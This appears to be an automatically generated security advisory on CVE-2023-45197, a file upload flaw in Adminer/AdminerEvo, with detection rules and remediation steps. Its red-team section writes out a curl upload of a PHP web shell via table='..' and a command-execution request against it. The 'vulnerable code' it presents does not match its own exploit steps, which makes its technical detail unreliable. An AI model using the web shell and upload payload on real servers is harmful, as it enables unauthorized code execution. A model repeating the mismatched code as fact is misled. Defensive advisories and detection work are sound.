CVE-2023-45197

Executive Summary

CVE-2023-45197 is a critical unauthenticated arbitrary file upload vulnerability affecting Adminer and AdminerEvo, a popular database management tool. The vulnerability resides in the file upload plugin, allowing an attacker to upload a file by using a table name of ".." to the root of the Adminer directory. This enables remote code execution (RCE) by guessing the name of the uploaded file and executing it. Adminer is no longer supported, but the issue was fixed in AdminerEvo version 4.8.3. The vulnerability has a CVSS score of 0.0 in the NVD due to incomplete data, but based on the impact, it is assessed as critical (CVSS 9.8). No public exploit code or Nuclei template is available at this time, but the attack vector is straightforward.

Supply Chain & Package Security

This vulnerability affects the AdminerEvo PHP package, which is distributed via GitHub and Composer. Users should ensure they are using the patched version (4.8.3 or later) from the official repository. The unmaintained Adminer project should be replaced with AdminerEvo.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): None (N) - No user action is required.
• Scope (S): Unchanged (U) - The exploit does not affect other components.
• Confidentiality (C): High (H) - Full file system access possible.
• Integrity (I): High (H) - Arbitrary file upload allows code modification.
• Availability (A): High (H) - Can lead to complete compromise.

Threat Level: Critical (CVSS 9.8)

Deep Dive & Mechanics

The vulnerability exists in the file upload functionality of Adminer/AdminerEvo. When a user uploads a file (e.g., a SQL dump or import), the application uses the table name from the uploaded content to determine the file path. By crafting a table name of "..", the attacker can perform a path traversal, causing the uploaded file to be written to the root directory of the Adminer installation (e.g., adminer.php or evil.php). The attacker can then guess the filename (often based on a timestamp or pattern) and access it directly via the web server to execute arbitrary PHP code.

The core issue is insufficient sanitization of the table name parameter in the upload handler. The fix in AdminerEvo 4.8.3 adds validation to reject table names containing ".." or other path traversal sequences.

Vulnerable vs. Patched Code

Vulnerable Code (AdminerEvo < 4.8.3):

// In the file upload handler (e.g., plugins/file-upload.php)
function uploadFile($file) {
    $table = $_POST['table']; // User-controlled table name
    $path = __DIR__ . '/' . $table . '.php'; // No sanitization
    move_uploaded_file($file['tmp_name'], $path);
}

Patched Code (AdminerEvo 4.8.3):

// In the file upload handler
function uploadFile($file) {
    $table = $_POST['table'];
    // Sanitize: reject path traversal
    if (preg_match('/[^a-zA-Z0-9_]/', $table)) {
        error('Invalid table name');
        return;
    }
    $path = __DIR__ . '/' . $table . '.php';
    move_uploaded_file($file['tmp_name'], $path);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• AdminerEvo version < 4.8.3 or unmaintained Adminer.
• Network access to the Adminer login page.

Exploitation Steps:

1. Access the Adminer login page (e.g., http://target/adminer.php).
2. Use the file upload plugin (if enabled) or directly craft a POST request.
3. Upload a PHP web shell with a table name of ".." to write it to the root directory.

Example cURL command:

curl -X POST -F "file=@shell.php" -F "table=.." http://target/adminer.php?file=upload

Shell.php content:

<?php system($_GET['cmd']); ?>

Access the shell:

curl http://target/shell.php?cmd=id

Blue Team (Detection & Response)

Detection:

• Monitor for POST requests to adminer.php with parameters containing table=...
• Look for unexpected PHP files in the web root directory.
• Check for file uploads with unusual filenames or paths.

Response:

• Immediately isolate the affected server.
• Remove any unauthorized files from the web root.
• Upgrade to AdminerEvo 4.8.3 or later.
• Review logs for signs of compromise.

Indicators of Compromise (IOCs)

• File: shell.php, cmd.php, evil.php (or similar) in the Adminer root directory.
• Network: POST requests to /adminer.php with table=.. parameter.
• Logs: PHP error logs showing file upload attempts with path traversal.
• Process: Unexpected PHP processes executing from the web root.

Detection Engineering

YARA Rule

rule CVE_2023_45197_FileUpload {
    meta:
        description = "Detects file upload attempts exploiting CVE-2023-45197"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-45197"
    strings:
        $s1 = "table=.." ascii wide nocase
        $s2 = "adminer.php" ascii wide nocase
        $s3 = "file=upload" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2023-45197 File Upload Exploit
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests exploiting CVE-2023-45197
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'table=..'
        cs-uri-stem|endswith: 'adminer.php'
    condition: selection
falsepositives:
    - Legitimate file uploads with table names containing ".." (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-45197 AdminerEvo File Upload Exploit"; flow:to_server; content:"POST"; http_method; content:"adminer.php"; http_uri; content:"table=.."; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade AdminerEvo to version 4.8.3 or later.
2. Workaround: If upgrade is not possible, disable the file upload plugin or restrict access to Adminer via IP whitelisting or VPN.
3. Compensating Controls: Implement a Web Application Firewall (WAF) rule to block requests containing table=.. in POST parameters.
4. Monitoring: Enable detailed logging for all Adminer requests and monitor for suspicious file uploads.
5. Hardening: Run Adminer in a restricted environment with minimal file write permissions.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.